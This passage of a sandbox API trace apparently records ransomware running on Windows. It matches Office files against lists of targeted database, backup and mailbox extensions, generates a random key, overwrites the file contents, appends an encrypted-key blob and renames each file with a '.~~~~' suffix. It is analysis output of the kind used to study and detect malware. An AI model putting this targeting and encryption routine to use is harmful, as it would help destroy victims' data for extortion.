	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.903] lstrlenW (lpString=".BDB") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.903] lstrlenW (lpString=".eql") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.903] lstrlenW (lpString=".DBF") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.903] lstrlenW (lpString=".EQL") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.903] lstrlenW (lpString=".FDB") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.903] lstrlenW (lpString=".EDB") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.904] lstrlenW (lpString=".DACPAC") returned 7
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.904] lstrlenW (lpString=".VHD") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.904] lstrlenW (lpString=".DBV") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.904] lstrlenW (lpString=".dacpac") returned 7
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.904] lstrlenW (lpString=".sdf") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.904] lstrlenW (lpString=".accdb") returned 6
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.904] lstrlenW (lpString=".DBX") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.904] lstrlenW (lpString=".MDT") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.904] lstrlenW (lpString=".SQB") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.904] lstrlenW (lpString=".vhd") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.904] lstrlenW (lpString=".bac") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.904] lstrlenW (lpString=".mdf") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.904] lstrlenW (lpString=".BAK") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.904] lstrlenW (lpString=".BAC") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.904] lstrlenW (lpString=".dbs") returned 4
	[0145.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.904] lstrlenW (lpString=".vhdx") returned 5
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.905] lstrlenW (lpString=".NDF") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.905] lstrlenW (lpString=".dat") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.905] lstrlenW (lpString=".DBS") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.905] lstrlenW (lpString=".CKP") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.905] lstrlenW (lpString=".edb") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.905] lstrlenW (lpString=".PST") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.905] lstrlenW (lpString=".dbf") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.905] lstrlenW (lpString=".SQL") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.905] lstrlenW (lpString=".pst") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.905] lstrlenW (lpString=".dbv") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.905] lstrlenW (lpString=".SDF") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.905] lstrlenW (lpString=".dtxs") returned 5
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.905] lstrlenW (lpString=".db3") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.905] lstrlenW (lpString=".OST") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.905] lstrlenW (lpString=".dbx") returned 4
	[0145.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.905] lstrlenW (lpString=".DB3") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.906] lstrlenW (lpString=".DAT") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.906] lstrlenW (lpString=".VHDX") returned 5
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.906] lstrlenW (lpString=".ndf") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.906] lstrlenW (lpString=".DB") returned 3
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.906] lstrlenW (lpString=".sql") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.906] lstrlenW (lpString=".MYD") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.906] lstrlenW (lpString=".DBT") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.906] lstrlenW (lpString=".ACCDB") returned 6
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.906] lstrlenW (lpString=".fdb") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.906] lstrlenW (lpString=".bak") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.906] lstrlenW (lpString=".myd") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.906] lstrlenW (lpString=".DTXS") returned 5
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.906] lstrlenW (lpString=".ckp") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.906] lstrlenW (lpString=".dbt") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.906] lstrlenW (lpString=".db") returned 3
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".db") returned 0x0
	[0145.906] lstrlenW (lpString=".TXT") returned 4
	[0145.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.906] lstrlenW (lpString=".MDF") returned 4
	[0145.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.907] lstrlenW (lpString=".bdb") returned 4
	[0145.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.907] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.907] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.908] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.908] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.908] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26589822837) returned 1
	[0145.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc05f7750, dwHighDateTime=0x1d60e1e)) 
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f828
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f828 | out: hHeap=0x300000) returned 1
	[0145.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0b20
	[0145.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7258
	[0145.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0145.909] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.909] GetLastError () returned 0x0
	[0145.909] GetLastError () returned 0x0
	[0145.909] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.909] GetLastError () returned 0x0
	[0145.909] GetLastError () returned 0x0
	[0145.910] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x277, lpOverlapped=0x0) returned 1
	[0145.944] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffd89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.944] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x277, lpOverlapped=0x0) returned 1
	[0145.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.944] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.944] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.944] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.944] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.944] CloseHandle (hObject=0x10c) returned 1
	[0145.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0145.945] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.~~~~")) returned 1
	[0145.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0145.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.947] GetLastError () returned 0x0
	[0145.948] RtlWakeConditionVariable () returned 0x0
	[0145.948] GetCurrentThreadId () returned 0x3a4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".scr") returned 0x0
	[0145.948] lstrlenW (lpString=".cmd") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0145.948] lstrlenW (lpString=".dll") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dll") returned 0x0
	[0145.948] lstrlenW (lpString=".bat") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".bat") returned 0x0
	[0145.948] lstrlenW (lpString=".cpl") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0145.948] lstrlenW (lpString=".sys") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".sys") returned 0x0
	[0145.948] lstrlenW (lpString=".msc") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".msc") returned 0x0
	[0145.948] lstrlenW (lpString=".com") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".com") returned 0x0
	[0145.948] lstrlenW (lpString=".lnk") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0145.948] lstrlenW (lpString=".msp") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".msp") returned 0x0
	[0145.948] lstrlenW (lpString=".pif") returned 4
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".pif") returned 0x0
	[0145.948] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0145.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.950] lstrlenW (lpString=".sqb") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0145.951] lstrlenW (lpString=".ost") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".ost") returned 0x0
	[0145.951] lstrlenW (lpString=".txt") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".txt") returned 0x0
	[0145.951] lstrlenW (lpString=".mdt") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0145.951] lstrlenW (lpString=".BDB") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0145.951] lstrlenW (lpString=".eql") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".eql") returned 0x0
	[0145.951] lstrlenW (lpString=".DBF") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0145.951] lstrlenW (lpString=".EQL") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0145.951] lstrlenW (lpString=".FDB") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0145.951] lstrlenW (lpString=".EDB") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0145.951] lstrlenW (lpString=".DACPAC") returned 7
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0145.951] lstrlenW (lpString=".VHD") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0145.951] lstrlenW (lpString=".DBV") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0145.951] lstrlenW (lpString=".dacpac") returned 7
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0145.951] lstrlenW (lpString=".sdf") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0145.951] lstrlenW (lpString=".accdb") returned 6
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0145.951] lstrlenW (lpString=".DBX") returned 4
	[0145.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0145.951] lstrlenW (lpString=".MDT") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0145.952] lstrlenW (lpString=".SQB") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0145.952] lstrlenW (lpString=".vhd") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0145.952] lstrlenW (lpString=".bac") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".bac") returned 0x0
	[0145.952] lstrlenW (lpString=".mdf") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0145.952] lstrlenW (lpString=".BAK") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0145.952] lstrlenW (lpString=".BAC") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0145.952] lstrlenW (lpString=".dbs") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0145.952] lstrlenW (lpString=".vhdx") returned 5
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0145.952] lstrlenW (lpString=".NDF") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0145.952] lstrlenW (lpString=".dat") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dat") returned 0x0
	[0145.952] lstrlenW (lpString=".DBS") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0145.952] lstrlenW (lpString=".CKP") returned 4
